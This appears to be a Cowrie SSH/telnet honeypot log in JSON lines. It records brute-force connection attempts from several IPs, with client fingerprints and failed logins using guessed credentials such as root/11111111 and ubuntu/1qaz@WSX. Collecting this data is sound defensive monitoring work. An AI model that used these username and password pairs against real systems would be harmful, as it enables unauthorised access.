{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:57.819605Z","src_ip":"165.154.137.186","session":"7ffd88553d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.58422780036926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:58.585812Z","src_ip":"128.199.8.54","session":"676414698704","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:58.621888Z","src_ip":"165.154.137.186","session":"7ffd88553d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:59.878342Z","src_ip":"165.154.137.186","session":"7ffd88553d4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42442,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d53cb293d9e","protocol":"ssh","message":"New connection: 165.154.137.186:42442 (10.17.0.5:22) [session: 3d53cb293d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:02.553969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:02.557903Z","src_ip":"165.154.137.186","session":"3d53cb293d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:02.806718Z","src_ip":"165.154.137.186","session":"3d53cb293d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:03.557793Z","src_ip":"165.154.137.186","session":"3d53cb293d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:04.808541Z","src_ip":"165.154.137.186","session":"3d53cb293d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39288,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d96c73bb16","protocol":"ssh","message":"New connection: 165.154.137.186:39288 (10.17.0.5:22) [session: 14d96c73bb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:18.522121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:18.526165Z","src_ip":"165.154.137.186","session":"14d96c73bb16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:18.775826Z","src_ip":"165.154.137.186","session":"14d96c73bb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53206,"dst_ip":"10.17.0.5","dst_port":22,"session":"468dc5697789","protocol":"ssh","message":"New connection: 103.77.242.62:53206 (10.17.0.5:22) [session: 468dc5697789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:18.806786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:18.809967Z","src_ip":"103.77.242.62","session":"468dc5697789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:19.039885Z","src_ip":"103.77.242.62","session":"468dc5697789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:19.523050Z","src_ip":"165.154.137.186","session":"14d96c73bb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05111990","message":"login attempt [root/05111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:19.731806Z","src_ip":"103.77.242.62","session":"468dc5697789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:20.773231Z","src_ip":"165.154.137.186","session":"14d96c73bb16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:20.966345Z","src_ip":"103.77.242.62","session":"468dc5697789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38188,"dst_ip":"159.203.135.109","dst_port":23,"session":"279184d17d13","protocol":"telnet","message":"New connection: 172.81.62.90:38188 (159.203.135.109:23) [session: 279184d17d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:23.034043Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":37752,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b6e773f4d0","protocol":"ssh","message":"New connection: 170.80.65.140:37752 (10.17.0.5:22) [session: f3b6e773f4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:31.991781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:31.995404Z","src_ip":"170.80.65.140","session":"f3b6e773f4d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:32.117921Z","src_ip":"170.80.65.140","session":"f3b6e773f4d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huang123456","message":"login attempt [root/huang123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:32.646110Z","src_ip":"170.80.65.140","session":"f3b6e773f4d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:33.770785Z","src_ip":"170.80.65.140","session":"f3b6e773f4d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ce4d6e5b877","protocol":"telnet","message":"New connection: 128.199.8.54:54788 (159.203.135.109:23) [session: 8ce4d6e5b877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:36.535645Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56602,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa7139350595","protocol":"telnet","message":"New connection: 128.199.8.54:56602 (159.203.135.109:23) [session: aa7139350595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:38.591902Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e780d3fd801","protocol":"ssh","message":"New connection: 85.198.19.241:46116 (159.203.135.109:22) [session: 4e780d3fd801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:40.323305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:41.234145Z","src_ip":"85.198.19.241","session":"4e780d3fd801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:41.238893Z","src_ip":"85.198.19.241","session":"4e780d3fd801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43182,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bb652f04521","protocol":"ssh","message":"New connection: 165.154.137.186:43182 (10.17.0.5:22) [session: 8bb652f04521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:49.505569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:49.533809Z","src_ip":"165.154.137.186","session":"8bb652f04521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:49.893367Z","src_ip":"165.154.137.186","session":"8bb652f04521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:51.206298Z","src_ip":"165.154.137.186","session":"8bb652f04521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:51.886745Z","src_ip":"85.198.19.241","session":"4e780d3fd801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:52.459540Z","src_ip":"165.154.137.186","session":"8bb652f04521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40280,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac929914cf5","protocol":"ssh","message":"New connection: 165.154.137.186:40280 (10.17.0.5:22) [session: 2ac929914cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:54.277843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:54.281650Z","src_ip":"165.154.137.186","session":"2ac929914cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:54.535472Z","src_ip":"165.154.137.186","session":"2ac929914cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:55.296361Z","src_ip":"165.154.137.186","session":"2ac929914cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:56.600358Z","src_ip":"165.154.137.186","session":"2ac929914cf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f24124efbb6","protocol":"ssh","message":"New connection: 103.216.145.2:51082 (10.17.0.5:22) [session: 0f24124efbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:57.186819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:57.189914Z","src_ip":"103.216.145.2","session":"0f24124efbb6","protocol":"ssh"}
